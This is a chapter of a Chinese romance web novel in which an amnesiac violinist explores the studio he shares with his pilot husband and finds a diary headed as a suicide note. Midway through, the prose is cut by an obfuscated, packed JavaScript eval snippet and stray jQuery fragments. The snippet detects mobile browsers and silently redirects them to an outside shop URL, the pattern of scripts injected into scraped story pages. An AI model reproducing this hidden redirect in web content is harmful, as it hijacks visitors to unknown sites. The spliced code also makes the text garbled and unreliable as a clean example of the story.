被便利贴贴住脑门的时候，宁知还下意识闭上眼睛，季桉的指腹隔着便利贴，轻轻温了一下他的额头就离开。
闭眼之前他看见季桉在笑，可闭上之后，更灵敏起来的听力，听见了又一声叹息。
睁开眼睛，季桉仍然是那副笑模样，但不好看。大概他自己也知道，于是没看宁知还，转身把没用完的便利贴收回玄关柜，那支“签离婚协议的笔”在指尖转了一圈，也丢了进去。
“我想起来了。”宁知还想了一下，忽然说，“我没忘记你，我记着的。”
他说得很认真，以此引来了季桉的目光。
宁知还：“你签离婚协议的时候哭了是不是。”
季桉挑了下眉，一张脸陡然生动起来，他点了下头，扶着宁知还后颈带他到水吧台边，一边倒水一边颇有兴味地说。
“还记得什么？再编两个。”
宁知还往高脚凳上一坐，两条自由的腿悠悠地晃，伸手托腮，眼睛一闭，准备从善如流地继续杜撰。
结果发现，脑海里空空如也。
他不记得季桉这事儿……又不是假的。
“……”
酝酿好几秒，他睁开眼睛，季桉往他面前推了杯温水，宁知还看看他，又看看水，一低头闷着喝了。
“编不出来了。”他放弃道，“不过你朋友好像很有编剧天赋，下次我找他学学。”
下次找他多说一点季桉小故事，就算真的想不起来，也没关系嘛。
“别找他，小心学坏。”季桉轻哂。
宁知还搁下杯子看他：“那……开心一点吗？”
“宁医生妙手回春。”季桉说，“没事，我知道这是个很漫长的过程，只是随口一说。”
宁知还弯了弯眼尾，低头又象征性地抿了口水，新奇地看着季桉又忙忙碌碌打开冰箱洗水果，和刚睁眼时看到的那个面无表情的酷哥，一点边都不沾了。
好像小时候摆弄七巧板一样，一看到变幻的事物，就总忍不住探究更多。空白的记忆重又催生出好奇来，宁知还琢磨片刻，没忍住问。
“如果我没出这场车祸，真坐到民政局要离婚签字的话……你真会哭吗？”
季桉把洗好的桃子放到案板上，无奈回头，后悔自己刚刚脱口而出那么句话来，看见宁知还又在眨巴他那双清凌凌的眼睛，不由失笑。
十八岁的记忆套着这个二十八岁的壳子，竟也一点都不显得违和。
没失忆的宁知还偶尔也会这么看他，但太少了，以至于季桉现在，总像猎人看见宝藏一样移不开眼睛。
宁知还说他：“害羞了呀，季机长。”
季桉哭笑不得。
“我那句话的重点是这个？你这小孩怎么油盐不进。”
“什么油盐不……不对。”宁知还反应过来，坐直了，用手指敲敲桌面——电视剧里的霸总大佬都这么敲，很有年上者的掌控感。
“你叫我什么？”他严肃皱眉，“都忘了，我比你大……我算算，三岁呢。”
“宁三岁。”季桉头也没回，桃子被切开的甜香漫开。
宁知还挺直的脊梁被勾着趴过去了些，吸吸鼻子，但还是坚持着男生打小就非常在意的问题。
“不对，重说，你要叫我什么？”
“行。”
切好的桃子装进白瓷盘里，被端到他面前，季桉洗了手，湿漉漉的指节屈起，弹了一下他的脑门。
“哥哥怎么是个木头。”
转身拿了个叉子的功夫，季桉再回头，宁知还耳朵和脸都已经染上熟透桃子的颜色了。
像是突然找到什么好玩的东西一样，季桉走到他对面，弯腰倚在吧台上和他视线齐平，手支着头，另一只手指尖轻点。
和他刚刚一样的姿势，但买家秀版本。
宁知还想移开视线都没能做到，只能愣愣木木地看着季桉又靠近了些，放轻了声音说。
“哥哥喜欢听这个呀，以前也没发现呢？”
宁知还抬手搓搓耳朵，支吾了一会儿，终于想出一个解释。
“因为以前是真哥哥啊……对。”
合理的解释把他自己都骗过去了，于是硬气起来，目光颇有力量地看过去：“到时候你等着，你等我再想想，记忆恢复到和你一般大的时候，你就等着瞧吧，臭弟弟。”
说完，他从季桉手里摸了个叉子，发号施令。
“吃桃。”
原本慢慢暧昧起来的气氛，被他这么一句“臭弟弟”轻轻松松挥散了。
季桉很难分辨他到底是不是故意。
直起身来，季桉幽幽叹了口气，叉子百无聊赖地扎进桃肉，他对水果感觉一般，陪餐陪得不是很走心。
两人安安静静地坐在吧台两侧，微风和阳光也挤进来，让季桉忽然有种恍如隔世的感觉。
无论如何，坐在他面前的人，总算是死里逃生。
在叉子和瓷盘碰撞的清脆声响里，季桉这才有了劫后余生的放松感。
“刚从医院回来，等会儿吃完去洗个澡。”他说。
原本一块接一块进食中的宁知还忽然抬头，一双眼睛带着警觉，问。
“干什么？我刚出院。”
季桉：“不是要剪头发……”
他反应的时间都比宁知还的警惕来的慢，半天才隐约猜到他可能在警惕什么，头抵在手腕上，闷头笑了好一会儿。
“懂得还挺多啊，哥哥？”
“……我吃完了！”
宁知还把叉子一撂，为了降温端起水杯，喝啤酒一样仰头吨吨着把剩下的水全干了，头也不回就往里走。
身后传来季桉的声音：“卧室在——”
话都还没说完，宁知还已经侧身闪进了一个房间。门哐当一下关上的时候，屋里屋外，两个人都愣了一下。
又想起来了？
隔了两秒，季桉听见那扇关上的门里，传来宁知还的声音。
“我在哪儿。”
“灯在哪儿？”
“这里好像不是主卧——”
季桉沉默，用一种肃然起敬的目光看着那扇门。
“……是你的工作间。”
全黑的房间里，宁知还没找到灯，晕头转向地开门，探出一颗脑袋来。
“好厉害的肌肉记忆。”他问，“灯在哪儿啊？”
“我不知道。”
意料之外的，季桉这样说。
宁知还愣了愣：“这里平时是禁地吗？”
“嗯。”
“你也不能进？”
“据我所知，没有人有这个特权。”
“这么神秘……”
宁知还小声咕哝着，借着走廊透进来的一点亮光摸索，忽然不知道碰到什么，桌上的电脑屏幕亮了起来。
他这才发现，这间房子里根本没装顶灯，只有桌边的一盏落地灯孤零零地站着。
“我找到了。”他找到开关打开，朝外面说了声，下意识关上了门，如同小时候躲进秘密基地一样。
暖白的灯映亮半间屋子，宁知还小小地“哇”了一声，然后敏锐地发现，自己的声音在这个空间里显得格外清晰。
这是个花了大价钱做隔音的录音棚，比学校的琴房好上百倍的那种。
门一关上，全世界的声音仿佛都被隔绝在外一样，这里成了一座孤岛，太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903537|212984||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过寂静的氛围让宁知还忽然有些心跳失速的感觉。
他忙拉开椅子坐下，深呼吸了几次，才压下身体莫名产生的不适感，也终于有余力环顾屋子四周。
二十平左右的空间被玻璃分隔成两半，里面是录音室，外面是电脑和键盘，其实很单调，也没什么好看的。
直到他回头。
门所在的那堵墙上，贴了一块毛毡板，旁边的小桌上搁着小提琴琴盒，半开着，上面还搁着谱夹。
宁知还认出是自己高中换的那把琴，很不便宜的价钱，是爹妈铁了心让他走这条路的力证。
老朋友没能吸引他的注意，反而是毛毡板上挂着的一张张照片，一瞬间击中他被淤堵着记忆的大脑，牵着他睁大眼睛走了过去。
刚醒来还在医院的时候，宁知还在心里说过，季桉长得帅要当海报挂在墙上之类的话。
但……
但没想到，这是实话啊？
心底没由来地生出些窃喜，好像失忆这件事没对他产生任何影响似的。
宁知还加快脚步走过去，正准备欣赏一下这些珍藏，余光忽然瞥见放在琴上的谱夹。
它摊开着，里面一页页存放的，却并不是他熟悉的那些面条一样的线，蝌蚪一样的点。
是日记格式的记录册，灯光有些昏暗，宁知还好奇拿起来，直接翻到第一页。
【遗书】
他手一抖，谱夹直直摔到地面上，被地毯托住，只发出一声咽回去的闷响。
第一页躺在地上向他展开，他读到下一行的文字。
【想了半天，不知道写什么。季桉落地往回走了，算了。9.5】
今天不是九月四吗？我又穿越了？
宁知还一瞬间头皮炸开般发麻。他蹲下来不断深呼吸，一目十行地往下看。
【季桉今天不飞。吃了黑鱼火锅。9.6】
【……遗书到底怎么写 9.17】
【想了想，还是先把echo写完吧，只给季桉，不给别人听就好 10.15】
【CKJ又来找我了。我。】
【算了，季桉在稻城给我寄了张照片 11.28】
【echo只补了四个小节，又写不出来了，奇怪，季桉失效了吗，好遗憾 12.15】
【元旦快乐，季桉说年年有今日，但我想，还是算了吧 2036.1.1】
“是……去年的？”宁知还趴在地上看，也不知道是松了口气，还是有些恍惚，自言自语的声音都是飘着的，“哪门子遗书，这不是日记吗，吓死我了，正经人谁写日……不是，谁写遗书啊。”
仿佛推开一扇隐秘的门，生怕惊扰了什么一样，他不敢大声。
笃笃。
敲门的声音响起，宁知还一哆嗦，站起来下意识把谱夹塞回琴盒，严丝合缝地拉住。
他把门拉开一条缝，季桉靠在门边看他，声音还带着在吧台边残留的笑意。
“别工作了宁老师，买的理发剪送到了，去洗澡……怎么了？”
他看见宁知还好像有点愣。
“嗯……嗯？没有。”
宁知还仰头，把他从门口推开，自己也跟着出来，下意识反手带上了门。
他又呼吸两下稳住情绪，在季桉明显不相信的目光里，若无其事地眨了下眼睛，半天找不到什么借口，忽然脱口而出。
“就是有点惊讶，里面挂了你一墙的照片，还挺帅。”
季桉脚步立刻顿住，像生了根一样不肯再走半步，明亮的目光灼灼地看着他，然后越过他，又燎上那扇紧闭的门。
他问。
“什么照片。”